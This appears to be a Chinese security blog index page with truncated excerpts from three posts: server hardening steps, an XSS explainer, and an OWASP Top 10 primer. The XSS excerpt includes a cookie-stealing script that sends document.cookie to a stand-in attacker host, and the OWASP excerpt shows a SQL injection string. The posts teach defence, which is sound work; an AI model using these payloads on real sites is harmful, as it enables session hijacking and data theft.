新买的云服务器默认是很「裸」的。下面这 10 项做完,能挡掉 90% 的自动化扫描和脚本小子。全程命令行,一台机器大约半小时。
1. 禁用 root 直接登录,改用密钥12345# 本地生成密钥ssh-keygen -t ed25519 -C "your@email.com"# 把公钥传上去ssh-copy-id -i ~/.ssh/id_ed25519.pub user@your-server-ip
然后改 /etc/ssh/sshd_config:
123PermitRootLogin noPasswordAuthentication noPubkeyAuthentication yes
1sudo systemctl restart sshd
改之前务必另开一个终端确认能登进去,否则可能把自己锁在门外。
2. 换掉默认 SSH 端口(可选)改成非 22 能显著减少日志里的爆破噪音,但这不是安全措施,只是减少骚扰。真正的安全靠的是第 1 步的密钥。
3. 装 fail2ban自动封禁连续登录失败的 IP:
12sudo apt install -y f ...
XSS(跨站脚本)是出现频率最高的一类前端漏洞。很多人对它的印象停留在「弹个窗」,但它真正危险的地方在于:脚本能做任何用户能做的事。
三种类型
类型
触发方式
典型场景
反射型
恶意代码在 URL 里,服务端原样返回
搜索结果页、错误提示页
存储型
恶意代码被存进数据库
评论区、昵称、个性签名
DOM 型
前端 JS 把不可信数据写进 DOM
innerHTML = location.hash
复现:从 alert 到盗号第一步:确认有没有洞
在搜索框输入:
1<script>alert(1)</script>
如果页面弹窗了,说明后端把输入原样输出了。
第二步:换成真正有害的载荷
123<script> fetch('https://evil.example.com/steal?c=' + document.cookie)</script>
只要受害者访问了这个页面,Cookie 就到攻击者手上了。如果 Cookie 里带着会话 ID,且没有 HttpOnly,账号就丢了。
第三步:绕过常 ...
OWASP Top 10 是业界公认的 Web 应用十大风险清单。刚接触安全时最容易被那些缩写劝退,所以这一篇尽量用「人话」讲清楚每一类。
1. 失效的访问控制是什么:该拦的地方没拦。比如把地址栏里的 ?id=1001 改成 1002,就能看到别人的订单。
怎么防:服务端每次请求都校验「这个资源属不属于当前用户」,不能只在前端把按钮藏起来——藏了不等于没有。
2. 加密机制失效是什么:用了弱算法(MD5 存密码)、或者压根没上 HTTPS、或者证书校验被绕过。
怎么防:密码用 bcrypt / argon2;全站 HTTPS;敏感字段单独加密。
3. 注入是什么:把用户输入拼进了命令里。最典型的是 SQL 注入:
123-- 后端如果这么写就完了SELECT * FROM user WHERE name = '" + input + "'-- 输入 ' OR '1'='1 就能把所有用户查出来
怎么防:用参数化查询(Prepared Statement),永远不要手拼 SQL。ORM 默认就是 ...
